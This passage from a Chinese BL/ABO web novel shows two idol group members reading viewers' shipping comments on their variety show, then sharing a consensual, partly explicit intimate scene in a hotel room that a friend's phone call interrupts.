【…………看得我沉默了,谁能告诉我tzh旁边这个娇妻是谁】 【忍了好几天了,今天就算被小方糖围殴我也要说,fbj前面其他队友来节目的时候你不是这样的,谁能告诉我这只比格到底在羞涩什么???别人说你心甘情愿被老公管你没有一点心情波动吗?正常情况是不是该反驳一下?啊???】 【老哥的发言也让人没法看,一副正宫上门检查巡视的既视感,不儿关键这是你老婆主场啊你在教节目组做事?怪不得别人都在吐槽】 【但是不得不说1一脸担心地说3身体不好要多照顾那里真的很好味,怪不得最近这两个人关系变好了,老一上节目都这样私底下不知道有多疼老婆[奸笑]】 【渴死我了,一向圆滑的老一遇到老三的事就像个用力过猛的毛头小子何尝不是一种真爱[流口水]】 【救命,这个场景真的幻视新人婚后第一次回老家被娘家人疯狂起哄,其他嘉宾完全我嘴替】 【不是大家打趣也就算了你俩耳朵红个什么鬼啊!越来越洗不清了啊喂!】 【路人,是我的错觉吗,感觉这两个人身边都是粉红泡泡……】 【呵呵让大家看笑话了,比第一次带老公上节目是这样的,看似冷静其实胡言乱语的家1,还有被娘家人打趣臊得说不出话的家0,xql完全手足无措了捏[心花怒放]】 【您二位要是被鬼上身了就说句话】 …… 即便抛开弹幕不谈,画面本身也挺让人尴尬的。 方柏嘉当时录制的时候还没什么感觉,现在回过头来一看,只恨不能当场双目失明。 有一瞬间他甚至觉得弹幕点评得还挺有道理。 ……确实显得挺那什么。就很怪。 就这么躯干僵直地看了几秒弹幕,方柏嘉感觉自己浑身都在起鸡皮疙瘩,再也按捺不住,彻底地把所有网友评论都给关了。 做完这事他猛地把平板往旁边一甩,汤昼恒也不问他为什么要这么干,两人就这么默契十足地维持着一阵说不出来的、心知肚明的诡异缄默。 方柏嘉仍然正襟危坐,假装聚精会神地盯着电视墙,其实经过刚才那一番插曲,大脑早已不接受新鲜事物,更不想直视画面上自己那张动不动被打趣得无措的脸,只好双目放空地走神。 客厅里的氛围有点尴尬。 过了片刻,方柏嘉实在有些受不了,趁着镜头转到其他嘉宾那边去的功夫,若无其事地拿起手机,打算刷点别的什么来解闷。 然而他才将手机解锁,亮起的屏幕画面就紧跟动了起来,还有外放: 【“那你喜欢什么类型的?”】 开始,是一道纤细的女声。 下一秒,手机听筒里就传出他自己的声线。 【“喜欢什么类型?……”】 听到声音的二人同时一愣。 方柏嘉呆住半秒,反应过来,这是今天签售会上的对话! 自己上回关手机前没退出去的视频居然又自动播放了起来,而且还是在汤昼恒的旁边—— 余光里,似乎可以看到汤昼恒正朝自己这边低眸望来。 不知道对方有没有听清,方柏嘉猛咳一声,试图盖过这阵手机里的杂音。 与此同时,手忙脚乱地在汤昼恒的眼皮底下以最快速度将APP退出后台,回到主界面,若无其事地点进其他软件。 “……” 一阵静谧之后。 没事找事——或者可以说是心里有鬼一般地,方柏嘉俯身去桌上的果盘里叉了块切好的水果吃了,想了想,又把果盘端起来,递到汤昼恒的跟前:“喏。” 汤昼恒道了声谢,手指拿着塑料叉叉起一块果肉,因为也不急着吃,就那么无聊把玩似的搭在果盘边上,轻轻地转了一圈。 转到最后,他兀地启唇问方柏嘉:“今天在签售会,粉丝问你喜欢什么类型的,你为什么不回答?” 语气很轻很慢的,好像只是突发奇想地随口一说。 但看他的表情,又明显不是这样,是带着探索与追究的、势必要在方柏嘉这里找到答案的那种神色。 想来是也在别处看过方柏嘉手机里的内容,才会第一时间和脑海中的记忆匹配上,并且决定借着这个机会开口。 “……” 方柏嘉咀嚼水果的动作顷刻停住,向斜侧方抬起眼,就见汤昼恒也正垂眸,神色不明地瞧着自己。 对方和他并排而坐,大腿与大腿间的距离原本保持在二到三十公分这个范围,然而随着他倾身向前拿取水果的举动,汤昼恒整个人都朝他这个方向移近不少,左腿的膝盖几乎就要和方柏嘉碰着。 这人想必回了酒店就立刻洗完了澡,卸去种种铅华的脸素净得能看出很细微的毛孔纹路,额前乌黑密发下是一双浓墨重彩般的眼睛,哪怕在光线昏暗的环境下也很突出。 被这样的眼睛盯着,会隐约有种心悸的感觉。 ……果然,还是被提起来了。 方柏嘉的眼神移开,又过了一会儿,继续嚼起嘴里的东西,有些费力地把水果咽下了肚。 “这种问题,也没什么好回答的吧。”面孔迅速蔓上一层热意,他目光游移着张口回应,边说还边扯了扯嘴角嘟囔,“想也知道他们想听什么内容,我怎么可能真的选一个答案?” “嗯?”汤昼恒轻声说,“她想听什么内容?” “…………” 这人,是真不知道还是故意的。 方柏嘉本来不欲回答,可见汤昼恒那么认真地盯着自己,又觉得不搭理他说不过去,于是窘迫道:“就是,卖腐那一套呗。” 等了两秒,见对方仍然没有反应,方柏嘉只好继续给他解释。 “我说你和丞绪是年上会照顾人那一类的,剩下那三个是活泼类型的,他紧接着就问我是喜欢年上还是年下的,这不是在玩文字游戏吗,我要说我喜欢年下的,她们就会说我喜欢江白树杭泽宇那种的啦,我要说喜欢年上,她们就又会说我喜欢你……” 说到这里,他脸上一瞬间有不自然的面部微表情快速闪过。 方柏嘉不知为何,话语猛然停顿一下,然后才继续往下说:“和丞绪……之类的。总之就是怎样都有糖嗑,我才不会上她们的当。” 他梗着脖子表示。 “是吗?” 汤昼恒看起来不置可否:“我怎么觉得那名粉丝看起来更像是我们的——” 接下来这个词语,他也措辞了一秒才说出口:“CP粉?” “。” 合着他看得出来啊? “那你还问我?”方柏嘉睁大眼睛,不太自在地说。 “不确定我才问的。”汤昼恒语气平和。 方柏嘉却已经不想回答他了。汤昼恒的话真真假假,他上哪儿去分辨去。 用力将手上的空叉子叉进盘中的一枚果块里,方柏嘉将它举到嘴边,接着大快朵颐。 见状,汤昼恒又问。 “所以,你到底喜欢哪种类型?” 这回方柏嘉学精了,没有再去和汤昼恒眼神对望,而是目光直视前方,假装看节目看得很认真。 汤昼恒对着他的侧脸扬眉:“由我来问,这个问题也不好回答?” 方柏嘉还是没说话。 汤昼恒继续给他下猛料:“是不好回答、不知道该怎么回答、不想回答,还是——不敢回答?” 方柏嘉的目光迅速颤动飘移。 “……你还说我!” 听到对方这句话,方柏嘉终于没法选择无视。 他冷不丁从刚才那个石膏像般的状态中复苏出来,提高声线,像要掩饰自己这一刻的慌乱似的,开始“谴责”起汤昼恒:“后来那个粉丝又问了你一遍这个问题,你不也没正面回答,是不好说,还是不想说,还是不敢说?” 他本以为自己把汤昼恒给反制住了。 岂料汤昼恒面色平静看了方柏嘉一会儿,忽然道:“我敢说,你敢听吗?” “…………” 方柏嘉的眼睛立即睁大了。 像是有什么预感似的,他当机立断地回过头,避开对方的目光,连眨了好几下眼。 下一秒,汤昼恒朝他这边倾身,作势要张口:“我——” 第二个字的音节都没有发出来,方柏嘉一下用两边的食指堵住耳朵:“你还是别说了。” 他确实不敢听。 方柏嘉保持着这个鸵鸟似的动作,向着沙发另一边移。 结果屁股才抬起来一点,他面向对方那侧的手腕就被汤昼恒给抓住,方柏嘉被带着跌坐回沙发上,这回终于松开了手,他回过头,正要和汤昼恒说些什么,却见那人仍在向他靠近。 一片寂静中,方柏嘉的上半身止不住地后仰,靠倒在柔软的沙发靠背上,察觉到对方的右手抵进自己撑在沙发上的一条手臂与身侧肋骨之间,如影随形地覆盖上来。 汤昼恒前倾的身体,以及方柏嘉后斜的躯干,从侧面看几乎叠在一起,形成两条无限趋近于平行的线。 “你怕什么?”汤昼恒倏然开口,轻声地说。 方柏嘉的嗓子眼里混着颤音:“我……没有啊。” 汤昼恒于是作势更朝他倾身,方柏嘉颈椎与胸椎相接处的那几块椎骨就死死抵在沙发靠背表面,再也退无可退,身前逃跑的空间也叫汤昼恒给挤压占据,他被对方吓到直接闭上了眼。 ……连方柏嘉都说不清自己这会儿到底在想什么,这个举动又包含着怎样的期待,或者说预想。 结果过了好几秒,没有任何事情发生。 只有汤昼恒清沉而带有磁性的话音落入他的耳中。 “所以你这几天都在躲我,就是因为这个?” 方柏嘉慢慢睁开眼。 掀起眼帘,首先映入视野的是汤昼恒那张近在咫尺的脸。 方柏嘉受不了这个刺激,又赶忙连眨了几下眼皮,视线移到一边,看着电视机发出的余光。 微微松了一口气的同时,竟然还有一点失落。 “什么躲你?”他装听不懂。 汤昼恒看着他这样子,不由笑了一下,忽地又低头朝他靠近两寸,是一个作势要吻他的假动作。 方柏嘉能被他吓到一次,就能被吓第二次。 说时迟那时快,他的两只手立刻抓住了盖在腰部的毯子侧边,拉着它“嗖”一声地抬上来,遮住自己的嘴。 汤昼恒见他这样,正在朝他移动的动作不由得顿了顿。 却也没中途返回,只在即将触到方柏嘉的时刻停了半秒,旋即仍旧义无反顾地贴上来,透过那张薄薄的盖毯吻住了方柏嘉,辗转又缓慢地寻找起方柏嘉唇瓣的形状。 等一下,这怎么和他想得不一样。 方柏嘉凌乱地眨起眼,感觉到自己的双唇在被人朦胧地按压和轻吮。 毯子本身很薄,而汤昼恒的嘴唇很烫。紧贴着柔软亲肤的羊毛织物,方柏嘉依旧能体会出alpha嘴唇漂亮而锋利的线条。 中间隔着一层面料接吻,触感并不像肌肤面对面触碰那样鲜明温润,却依旧强烈而明显。 甚至因为这犹抱琵琶半遮面一样的遮挡,而带上一种别样旖旎的吸引力,比真正的亲吻更引人遐想,也更缱绻细腻。 分明只是唇面的粗糙厮磨,还没来得及更深层的接触,简单的几记摩挲下来,方柏嘉却感觉自己像和人进行了长达十来分钟的深吻那样窒息。 自己的呼吸、包括肺部当中的空气都被来人压榨并且掠夺,身上也越发躁动得发热,光靠鼻腔已经不够喘气。 汤昼恒亲了他一会儿,攻势愈发变本加厉,隔着那一层盖毯直接咬在方柏嘉的唇上。 然后,竟忽然缓慢地伸出舌头舔/舐。 他的动作幅度很慢,一下就能做完的事情拉长到了两三秒,从方柏嘉下唇的左侧到右侧,舌尖似蜿蜒匍匐而过的蛇一般爬行游移。 刻意放缓的举措带出格外色/情的意味,又仿佛只是最纯粹的攀行与描摹,勾勒着方柏嘉起伏饱满的唇肉。 湿意慢慢洇过布料,传递到方柏嘉的唇面。 对于此时此刻的alpha来说,竟然比直接的唇齿相依更加刺激,也更诱人。 “嗯……”毫无防备地,他吟/哦出声。 隔着毯子,方柏嘉发出的感叹闷得像隔了层雾,即使如此,青年还是被自己这声给吓到,眨眼间大气都不敢喘,只觉得两侧薄薄的面皮烧得厉害,两条踩在地上的脚踝倏然靠拢,羞/耻地并紧。 方柏嘉晕头转向地被对方亲了好一会儿,才意识到自己之所以感觉呼吸不过来,是因为下半张脸都埋在了毯子里,空气根本不流通。 刚才还用来保障人身“安全”的盖毯顷刻间成了烫手的累赘,无法忍受这样的燥热,趁着汤昼恒稍微松开他的功夫,方柏嘉再也忍不了地将毯子拽到胸口,大口呼吸个不停。 新鲜的空气流进肺部,方柏嘉感觉自己整个人的灵魂都瞬间变得充盈。 他还没来得及为此精神振奋一下,下一秒,双唇又被凑上来的汤昼恒给堵住。 这下是真的完全没有阻隔的亲吻。 湿润的、光滑的、又带有一点浅浅肌肤纹路的触感传来,方柏嘉的嘴唇被人稍微用力地含吮并吸咬,简直像要把他拆吃入腹那样恳切。 但与此同时,汤昼恒的速度又是那样慢条斯理、从容不迫,仿佛方柏嘉是道大餐,而他正在缓慢品尝他的味道。 在汤昼恒井井有条的把玩下,方柏嘉感觉自己变成了一道可口的事物,唇舌上的每一道肌理都被对方参透。 不需要那人刻意去撬,方柏嘉不自觉就迷乱地张开唇齿。 黏腻的亲吻间,alpha湿软的舌肉几次掠过方柏嘉半掩在口中的舌尖,深浓的晕眩似涟漪般圈圈晕开,方柏嘉从嗓子眼中发出短促的、类似小狗一样的呜咽。 他哪里受得了这种撩拨,突然有了变化,方柏嘉感到羞赧,下意识想躲。汤昼恒感觉到他要逃,alpha骨子里的掌控欲些微发作,追上来又要接着亲。 方柏嘉轻轻推拒他的肩膀。 结果因为两人现在的姿势本就不稳,而他又没有手臂支撑,直接后背向下,摔在了沙发上。 汤昼恒察觉到他身体下落,想也没想地伸手托住方柏嘉的肩胛骨,却忘了自己有只手扭伤,和方柏嘉一起倒下的瞬间,汤昼恒呼吸顿时变乱,隐约中好像倒吸了一口冷气。 方柏嘉被他这声吓了一跳,躲也忘了躲,当时就抓起汤昼恒缠着绷带的手,放到眼前仔细端详。 好像他的手腕是什么易碎物似的,生怕汤昼恒因为自己再受伤一次。 无奈现场的灯光太暗,方柏嘉的眼睛也不是射线,哪能通过外表判断汤昼恒的伤情几何。 昏暗中,只能听见他的声音快速念个不停:“等一下,我是不是压到你了?痛不痛?你有没有感觉……” 方柏嘉后面的话没说出口。 青年的反应给了他可乘之机,汤昼恒像是觉得对方问这话有些多余,又不满亲吻就此中断,不等方柏嘉把话说完,再一次将唇贴上来吻他,让他的话音都消散在余下的温热里。 第43章 第 43 章 哥哥别这样。 “唔……” 细碎的声线融化在唇齿间, 变成无意义的音节。 像被对面这人按下了暂停键,顷刻间拉入另一个世界一般。方柏嘉脑内的线程即刻中断,连原本在想些什么都给忘了, 保持着这个轻轻握住对方手腕的姿势,又晕乎乎地抬头和他唇齿交缠了好几下。 过了几秒, 反应过来,不对。他本来要干什么来着。 方柏嘉偏头挣开汤昼恒的亲吻, 向后退了两厘米, 小声喘气说:“你先别——我问你话呢!你手到底有没有事?” 语调虽然是急促的, 但语气并不强硬, 更多的是被美色蛊惑后自觉定力不足的心虚。 汤昼恒停顿一下:“没事。” 方柏嘉没有立刻相信:“真的假的?你没有骗我吧?” “真的。” 两人即便已经分开, 相隔的距离依然很近, 汤昼恒低头就能看到方柏嘉被他吮得红润的唇。 Alpha的眼神十分干净,看起来又有点无奈:“我什么感觉自己能不知道?还是你又觉得我会特意隐瞒你?” 汤昼恒轻声说:“这么关心我?” 说出口的每一个字,都像拿着一把小锤敲在他的心上。 从方柏嘉这个角度望去, 可以看见他一半的脸因为被电视机发出的荧光照耀, 而被蒙上一层淡蓝的光晕, 另半张脸则因为房间内没开灯,几乎隐没在黑暗里。 方柏嘉起先还以为是谁在他的耳边擂鼓,后来才意识到, 那是他自己的心脏疯狂跳动发出的声音。 他没有吭声, 好像没听到一样,不去回答那人的问话。 汤昼恒见状,又低下头吻他的嘴角。 心跳重得像要跳脱出嗓子眼,对方的吻太多、也太绵密,方柏嘉受不了,喘着气轻轻用拳头推他的胸膛。 模糊不清的光线中, 方柏嘉似乎听到身上的人不轻不重地笑了一声。 “还说你没躲?” “……”方柏嘉不知道该说什么好。 难道要和汤昼恒讲,和你接吻——尤其是在跟你上床后再接吻,对我来说实在太刺激了,我受不了? 思索再三,他挣扎着为自己争辩:“我也不是躲,我就是……你不觉得有点太突然了吗?” 好像也觉得自己这个说法非常有条有理,方柏嘉的声音大了起来。 “什么突然?”汤昼恒一时半会没有听懂。 “就是,转变得太快了。”方柏嘉奋力做了个吞咽的动作,唇部反射出一层亮晶晶的水光,“你之前不这样的,结果突然就,突然就这么的……” 剩下的话对方柏嘉来说似乎有些难以启齿,他磕磕绊绊了几秒,干脆跳过:“我不习惯。” 准确地来说,是觉得太不真实。 汤昼恒之前明明表现得都还很正常,结果从某一天开始,冷不丁就像被按下加速键一样,热情主动得不像话,快到方柏嘉都还没反应过来,眼前这个人却依然接受良好。 方柏嘉说完,下唇忽然被一片温热按住。 汤昼恒的指腹沿着他的唇瓣摩挲两下,像在给他擦去多余沾上的唾液,若有所思地说:“所以呢?” “所以……”方柏嘉慢吞吞地说,“所以你这样搞得我很慌。” 汤昼恒不理解,冷静地说:“一开始不是你先说的,想亲就可以亲?” 唇瓣张合间,薄薄的热气好似浪潮一般喷吐在方柏嘉的唇肉之间,令人止不住地目眩神迷。 “我是说了。”方柏嘉几乎慌不择路,“可我也没想到你真亲……” 不对,这话说起来有点太那什么了。 意识到这一点的方柏嘉即刻收声,迟疑了片刻,再开口道:“我的意思是,口头说说和实际行动也是不一样的——” 这句话一出来,汤昼恒立刻不轻不重地冲他“嗯?”了声。 ……还是很怪。 怎么说都不是那个意思,眼见着汤昼恒脸上的表情越来越莫测,方柏嘉索性闭上嘴。 晦暗不明的光线里,他看见俯在他身上的alpha扬了扬眉。 “一开始我也没这样。是你先对我提出那种要求,我才按你说的做的。结果现在你又全盘推翻。” “所以,你是想说。”汤昼恒慢悠悠替他总结,“你可以那么说,但是我不能真的那么做。你可以主动撩拨,但我不能反击。你可以因为我没有真的亲你而不高兴,但我不能因为你不给亲就不满。因为你很双标,只许州官放火,不许百姓点灯,是不是?” “方柏嘉,你有没有觉得自己这样很过分?” “……” 对方这样讲,倒显得方柏嘉是个很自私的、自己爽了就不管别人的渣A。 方柏嘉被他说得哑口无言,不禁开始怀疑和反省起自己。 难道他这么做真的伤了汤昼恒的心? 方柏嘉的脸在黑暗中腾一下地红了,并不是那么有底气地反驳:“我也不是——那,那你也不能这么毫无预兆就……” 似乎察觉出汤昼恒此刻语气中淡淡的不快,他给自己找借口:“你总得提前问我一声吧?要是我没准备好呢?要是,我不方便呢?” 汤昼恒“哦”了一声。 停了停,说:“所以你现在方便吗?” 方柏嘉:“…………” 这让他到底要怎么回答。 说他不方便,汤昼恒一定会觉得他是在有意拒绝他,从而证明了对方刚才的猜测。 直接说“我方便”,那也太傻了!!! 所以他当时究竟为什么脑子一抽,要说出那种话? 方柏嘉走投无路地嘟囔起来:“方不方便的,这也不好说——” 几个字说得很弱,很不清晰。 汤昼恒沉沉又好整以暇地看着他:“这个问题有那么难回答?” 方柏嘉:“。” 倒也不是难不难回答的问题吧。 主要是现在这个场景就很危险,太难把控,稍一偏移就有可能出错。 方柏嘉为难又发着红的神色被他看在眼里,汤昼恒心里一动,像是领悟到了什么,忽然宣誓一样地低声对他说:“那么,我现在要亲你了。” 方柏嘉的睫毛剧烈一颤。 汤昼恒像没看到他的反应,继续缓缓陈述道:“如果你‘不方便’,那就说不,或者推开我。如果你‘方便’……那就什么也不用做。” 说着,他再度覆盖上来。 仿佛有心要让方柏嘉感受这个过程,也给他反应的时间,汤昼恒刻意动得很慢,一边不疾不徐地向着对方靠近,一边缜密观察方柏嘉此刻的神色和反应。 气氛浓稠得像放在火上被烧化的蜜糖,信息素于空气中交接传递,每一个微小的举动都环环相扣,宛若蝴蝶效应般准备掀起更大的浪潮。 方柏嘉屏住呼吸,心跳得很乱。 事实证明,对方留给他的那几秒反应时间完全是多此一举的无用功。 直到汤昼恒今天第不知道多少次亲上来,方柏嘉都没能说出那个“不”字。 他觉得汤昼恒真的太犯规了。 明知道自己喜欢他,还说出那种话。 他怎么可能对汤昼恒说“不”。 察觉到这一点的汤昼恒鼻腔间发出哼笑,在最后一刻将他的唇给擒住。 方柏嘉感觉自己人都被他看穿,心中的耻意更加明显,只能硬着头皮假装听不清他那声笑里的含义,嗯声地迎合起这个吻。 偌大而宽敞的客厅里,由电视机洒出的光芒铺散在整个空间内部的物体表面,像一层淡而薄的银辉披在他们身上。 节目还在播放,却没人知道它究竟进行到了哪里。 音响中传出的人声变成了嘈杂而没有意义的符号,成为沙发上那二人的背景音,盖过了一部分隐秘而不足为外人道的声响,让正在进行的事变得没有那么羞/耻。 不知从什么时候开始,亲吻变了味道。 如果说刚才方柏嘉坐在沙发上,汤昼恒还不太清楚他的状况。那么当此刻的他们面对面地躺在一起,躯干严丝合缝地紧贴着时,彼此的需求就都显得一览无余了。 汤昼恒可以很分明地感受到方柏嘉的身量。 他一米八五,但人很瘦,平时从侧面看也是极窄的一片。整个人身上的肌肉量都不算很大,胸膛上没有很多肉,躺倒时薄薄一层的小腹沉下去,像是一片浅浅的洼地。 洼地下面紧接着是山脊。 方柏嘉跳动两下,因为汤昼恒的靠近而喉咙中泄出不成调的叹息。脑子还没反应过来,身体已然做出行动,一条腿半屈着搭住了汤昼恒。 对方屈起的手臂撑在沙发表面,沿着他的唇角一路向下,低头从脖颈亲到锁骨。 另一只手缓慢摩挲着,张开的掌心顺着他的肌肤滑下去。 方柏嘉被电似的哆嗦起来。 发现了他的弱点,那只手折返回来。方柏嘉察觉到对方的动作,抖得更加厉害,被掐住要害的鱼一样扭。 汤昼恒不由抬头看了方柏嘉一眼。 思索了一会儿过后,他突然低下头。 “嗯……” 方柏嘉的背脊立刻挺直了,没两秒就开始倒吸冷气。掌心搭在汤昼恒的肩上,无措得连鼻息都在颤动,感觉眼前这人就像一团暖热的雾。 那人没一会儿就放开他。 汤昼恒的手掌又宽又大,扇子似的,有种冷玉般的质感,单一只手伸展开的宽度似乎就能将方柏嘉的整截腰给拢住。 他用这手卡在方柏嘉T恤的衣服下缘,作弊一样,很轻易就把它往上推。 方柏嘉呼吸骤紧。 一阵冷风袭来,他略有点慌乱地低下头,不由得伸出一只手,抓紧了对方的小臂。 恰在这时,还要继续往前的汤昼恒突然好像想起什么,抬起来朝方柏嘉这边撇了一眼问他:“可以吗?” 嘴上这么说着,他的手已然造访。 原本熟悉的身体愈发变得陌生,方柏嘉像在水中摇摇晃晃的帆船,在点头和摇头之间迟疑不定。 他觉得汤昼恒好过分,总是将这种尴尬的选择权交给自己,说不要,太违心,可说要,他也张不开口。 一片沉默中,方柏嘉几乎是以求助的目光看着汤昼恒,希望他能读懂自己眼神中的意思。 然而也不知道对方是不解风情,还是打定了主意要从方柏嘉这里得到一个答案,汤昼恒此后竟真的再没有动作。 实在没有办法,方柏嘉将希冀付诸行动。鼓足全部勇气,深吸一口面前的空气,主动将汤昼恒剩下没掀完的衣物徐徐撩起。 即便在光线昏暗的场景中,也能看出来颜色肉眼可见的浅。 方柏嘉抓住对方的手腕,将那只手放上来。 像无言的邀请。 光是做了这么两个姿势,他的脸就已经红透,不确定自己这样做对不对,眼神飘移着不去和汤昼恒对视。 耳边只听见对方轻笑一声。浅浅的,几乎让人以为那是错觉。 “好乖。”朦胧中,汤昼恒似乎声音极低地说了这么一声。 又是那种惯常仿佛在哄人一样的语气,却又因为场景和事件的不同,而染上别样的暧昧。 方柏嘉的心跳瞬间错了拍。 在这样的情境下,即便是被夸奖也显得羞/耻。 对方话音落下,他立刻闭紧了眼皮。 阖上双眼不到半秒,又觉得这样就看不到汤昼恒在做什么了,旋即小狗一样再迅速地睁开。 毛茸茸的黑色脑袋垂下,方柏嘉视线一低,瞧见汤昼恒薄唇张启。 …… 好几分钟过去之后,那种奇异的感觉依旧经久不散。 方柏嘉双眼放空,眼神迷蒙地盯着上方的天花板。 alpha的身型重新覆盖上来,将方柏嘉的双唇衔取在口中。 方柏嘉迷迷糊糊地和他接吻,两个人比刚才更凶、更狠,他的手也学着汤昼恒的样子,胡乱地从衣服下边伸进去,揉/汤昼恒的胸肌和腹肌,不过一会儿又沿着躯体绕到后面,抚摸对方后背上的皮肤。 一切都好像乱了套,又仿佛本来就该如此。 精力充沛的年轻alpha总是很难抑制本性,更何况他们前不久才深度接触过,理应更明白什么叫食髓知味。 只不过之前因为种种原因,二人这大半个多月来状况频出,根本没能静下心来和对方相处。 也或许是他们都故意无视了盘旋在两者间的奇妙氛围,假装不知道对方对自己有多大的吸引力。 而在这个关了灯的夜晚,有什么东西仿佛脱去了禁锢,让原本的真实得以浮出水面,彻底褪去最后的伪装。 谁也没有问出那个具体的问题,只是心照不宣、沉默地任由事态发展。 方柏嘉全身热得发烫,呼吸间感觉自己鼻腔里喷出来的气流都变成了岩浆,蛇一样和汤昼恒缠在一起。 衣物不知不觉变得湿泞,将最贴身的一层面料打湿。 先是第一层,随后眼看着连第二层也不能幸免于难。 意识到这一点的方柏嘉吓了一跳,原本正沉醉于和对方亲吻的他当即睁开双眼。 感觉到汤昼恒有深入的势头,他强忍住想要继续下去的冲动,迷迷瞪瞪间连忙抓住对方的手腕,喘/息得有点急促。 “……哥哥别这样,会弄脏的。” 混沌中,方柏嘉忍不住地胡言乱语,意识不到自己说这话的语气有多黏腻。 原本清亮磁性的声线外侧像是裹住了一层黏糊糊的蜜糖,想化也化不开,鼻音尤其浓重,听起来像在撒娇。 汤昼恒手上一顿,语调诧异:“你叫我什么?” 方柏嘉突然又不说话了。 迟来地为自己刚才的称呼感到羞恼似的,他咬紧下唇,好半天挤不出一个字,支吾着“嗯”了一下就没了下文。 就在这意/乱情/迷、不知道该如何是好的时候,一道响起的急促铃声猝然打破了当下的氛围,闯进他们当中。 方柏嘉和汤昼恒俱是一怔。 搞不清声源来自于哪,一时间都忘了当下的事,探头探脑、前后左右地寻找起来。 方柏嘉直觉后背处贴近脊骨的地方出现震感,反手别扭地捞了几下,果然找到他正在震动着的手机。 将那长四方体拿起来的瞬间,手机屏幕一块儿亮起,显示出来自“李子晋”的微信通话邀请。 方柏嘉在刹那间仿佛经历了一场最为摇摆不定的天人交战,不知道是该装作没看见这通来电,继续和汤昼恒“颠鸾倒凤”,还是就此中断进程,让突然出现的李子晋来帮自己冷静冷静。 他犹豫了一下,把它挂断。 孰料没过两秒,那边又十分执着地再给他拨来,看来是打定了主意要骚扰到底,一时不能消停。 噪音太响,吵得人直心悸,一直不处理也不是回事。 左右是躲不过,方柏嘉清了清嗓子,对汤昼恒说:“那个……我去接一下电话。” 他摆出一副好像很为难的样子,汤昼恒没有表示任何的异议。 似乎也惊觉自己和方柏嘉刚才有多过火,他的脸上出现了和方柏嘉别无二致的一层淡淡的窘迫,沉默地手撑沙发坐了起来,给方柏嘉让出足以通过的空隙。 方柏嘉小心翼翼地说了声谢谢,光着的双脚踩在地上,摸黑了好几秒才找到自己的拖鞋。 他站起来,在汤昼恒的注视下将自己被他扒到一半的裤子穿好,双颊迅速一热,以最快速度拿起手机,身形仓皇地溜回卧室。 关上门的瞬间,方柏嘉身躯猛然卸力,整个后背磁铁一样“啪”一声贴在门板上,几乎像是死里逃生一般双目睁大,六神无主地直视着前方的墙面。 好险。 ……差一点就做了。 反应过来他在过去十分钟里都干了什么的方柏嘉感觉自己脑门都要烧冒烟了。 李子晋这通电话还真是救人于水火。 方柏嘉没好意思说,看到来电显示人的时候,他竟情不自禁有种悄悄松了口气的感觉。 否则后面会发生什么没法想。 又发了两三秒钟的呆,他才从刚才那种入骨的酥麻中缓过神来,低头看向手中仍还响个不停的手机,点击了接通。 李子晋一上来就火力全开:“哎方柏嘉我发现你这人真是藏得够深的,什么也不跟人说,结果背着我和你梦中情人都快发展到月球上去了……” “说什么呢,叽里呱啦的。”方柏嘉一时间没听懂他想表达什么,人也心猿意马,慢吞吞踢踏着拖鞋去到床边。 屁股刚挨着床面便感觉到堆积在后边的湿意,他整个人猛弹起来,担心弄脏了床单,灰溜溜地改成在地面上坐下。 殊不知自己沙哑的声线暴露了异常。 方柏嘉平时再怎么有气无力说话,语气也不像现在这样,闷哑中带着热,还有点勾人的懒。 隔着网线,李子晋一下察觉出那点微妙的端倪,不知道哪来的第六感作祟,突然狐疑地说:“你的声音……是怎么了?你现在在干什么呢?” “啊?”方柏嘉做贼心虚,立即联想到自己刚才和汤昼恒在做的事,心想不会吧,这难道听起来真有这么明显? 他清了清嗓子装傻:“没干什么啊……刚下了工作在酒店,躺着呢。你大晚上打电话来,到底要说什么?” “还能说什么,我们那节目呗,今晚刚上线的,你看了没有。我靠现在网上可热闹了,我去翻了评论,老多人嗑你和你老公的cp,说你俩出道四年终于复婚了。”李子晋说。 “复婚?”方柏嘉觉得莫名其妙,闲着没事,低头有一搭没一搭扒拉起裤子上的褶皱,“我和他就没婚过吧。” 李子晋的重点根本不在这儿:“总之你要没看赶紧去看。别说网友了,我看了都觉得暧昧,怪不得他们反应大。你说你也是,之前还跟我嘴犟说你俩没什么,要不是看了更新我真信了……” 方柏嘉在对方看不到的地方挠了挠鬓角,刚要开口说些什么—— 笃笃笃。 有人在敲他的门。 “方柏嘉。”汤昼恒喊了声他的全名。 通话两边同时安静下来。 方柏嘉心中一惊,想起来汤昼恒还在外边,不能让他等太久,压低了声音对着手机话筒道:“你等一下,我过会儿再和你说。” 说完也不管对面是什么意见,怕李子晋听到什么不该听的,他直接把通话挂断,将手机扔到一边,快步走去开门。 再次见到汤昼恒时,却不由得一愣。 对方不知道为什么给人一种已经收拾好了的感觉,身上的衣服一丝不苟,甚至看不出什么褶皱,脸上的表情似乎也恢复成来时的样子,眉眼间浸染的晴/欲褪去,让此时的汤昼恒重新看着正经起来。 他单手插兜,意味不明地垂眼瞧着方柏嘉。 方柏嘉的视线逡巡片刻,找到了这种感觉的关键。 汤昼恒的手上拿着他自己的那部手机。 “你要走了吗?”方柏嘉不禁感到些许诧异,这句话甚至没来得及在脑内转上一圈,就被匆匆问出了口。 “嗯。”汤昼恒应着,仿佛在打量方柏嘉说这话时的表情。 “毕竟你还有别的事要做。” 说这话时,他的语气其实还和以往相同,没到阴阳怪气的程度,只在几个字的语调上有着微妙的变化。 方柏嘉一脸茫然地看着他,听出了这点不同,却解析不出他的意思,因为困惑而下意识地道:“可是节目还没放完——” 先前说好的要一起看节目,怎么才过了个开头就要走? 难道才这么点时间,汤昼恒就已经恢复好了? 方柏嘉不由朝他腰部以下的位置看了看。 对方来找他时穿的是一身黑色休闲裤配白T恤的简单日常装扮,宽松的上衣顺着重力垂落,下摆投下来的阴影刚好能将某个要紧部位遮住,不管灯光再怎么照,只是有着微微可疑的凸起,看起来并不明显。 汤昼恒的嘴角动了一下,似是注意到了方柏嘉的目光,又像单纯只是觉得他问了个很没必要的问题,没必要得甚至有点风趣了:“刚才好像没人在看吧?” “……” 该不该说,这话讲得确实有道理。 但他怎么知道自己没在看? 方柏嘉心中嘀咕,面上又不好意思起来,被汤昼恒三言两语勾起对刚才在客厅里的景象回顾,一瞬间身上又有点燥/热,心想为什么没人看,难道你心里没点数? 也不知道是谁先开的头。 ……这样想想,对方走了也好。 本来方柏嘉也看不下去,节目那么长,想到他后面少说还得忍两三个小时,方柏嘉就觉得够呛得慌。 也觉得李子晋那通电话来得巧妙,简直救急一般。要是再晚来一会儿,根据当时的势头,他现在和汤昼恒已经搞上了都说不定。 两人又不是那种情侣关系,莫名其妙失去自制力,三天两头和汤昼恒亲嘴也就算了,再在非易感期和对方上一次床,那算什么事儿。 